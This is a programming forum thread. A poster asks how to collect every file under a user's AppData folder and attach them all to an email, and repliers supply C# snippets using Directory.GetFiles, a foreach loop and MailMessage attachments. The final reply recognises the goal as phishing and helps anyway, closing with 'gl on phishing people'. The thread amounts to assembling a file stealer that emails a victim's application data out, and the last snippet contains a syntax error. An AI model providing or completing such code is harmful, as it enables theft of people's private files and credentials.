Posts 1–9 of 9 · Page 1 of 1
Mail Attachments.
So i want help with searching for a file within a directory.
mail.Attachments.Add (new Attachment(""));
if i would wanna do it this
Code:
FileInfo[] files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "").GetFiles("*", SearchOption.AllDirectories);
I know wich paths that's not the problem.
I would really appreciate the help
Documentation should become your friend.
According to MSDN:
Code:
public static string[] GetFiles(
string path,
string searchPattern,
SearchOption searchOption
)
But what you have entered is:
Code:
GetFiles("*", SearchOption.AllDirectories);
Change it to:
Code:
GetFiles(path, "MyFile.xml", SearchOption.AllDirectories);

Originally Posted by
twas brillig
Documentation should become your friend.
According to MSDN:
Code:
public static string[] GetFiles(
string path,
string searchPattern,
SearchOption searchOption
)
But what you have entered is:
Code:
GetFiles("*", SearchOption.AllDirectories);
Change it to:
Code:
GetFiles(path, "MyFile.xml", SearchOption.AllDirectories);
will try out.
- - - Updated - - -

Originally Posted by
twas brillig
Documentation should become your friend.
According to MSDN:
Code:
public static string[] GetFiles(
string path,
string searchPattern,
SearchOption searchOption
)
But what you have entered is:
Code:
GetFiles("*", SearchOption.AllDirectories);
Change it to:
Code:
GetFiles(path, "MyFile.xml", SearchOption.AllDirectories);
it is saying u can't convert array to string.
pretty sure file patterns need to contain an extension, use as your signature "*.*" and tell us if it works.
- - - Updated - - -

Originally Posted by
SeXZeFPS
it is saying u can't convert array to string.
if you don't know how to make a string array, why are you even here? you should be learning the basics of programming.

Originally Posted by
Silent
pretty sure file patterns need to contain an extension, use as your signature "*.*" and tell us if it works.
- - - Updated - - -
if you don't know how to make a string array, why are you even here? you should be learning the basics of programming.
I know how to make a string array, lol. But attachments needs a string not an array.

Originally Posted by
SeXZeFPS
I know how to make a string array, lol. But attachments needs a string not an array.
And that is what loops are for.

Originally Posted by
Silent
And that is what loops are for.
Code:
foreach (var i in Directory.GetFiles(path, "*.*", SearchOption.AllDirectories))
{
//Attatchemnts.Add(new Attatchment(i))
}

Originally Posted by
SeXZeFPS
Code:
foreach (var i in Directory.GetFiles(path, "*.*", SearchOption.AllDirectories))
{
//Attachements.Add(new Attatchment(i))
}
Code:
string[] files = Directory.GetFiles(path),
"*.txt",
SearchOption.AllDirectories);
MailMessage msg = new MailMessage();
foreach (string file in files)
{
Attachment attachment;
attachment = new Attachment(file);
msg.Attachments.Add(attachment);
}
You might want to follow @Silent and watch some tutorials.
gl on phishing people btw 
Posts 1–9 of 9 · Page 1 of 1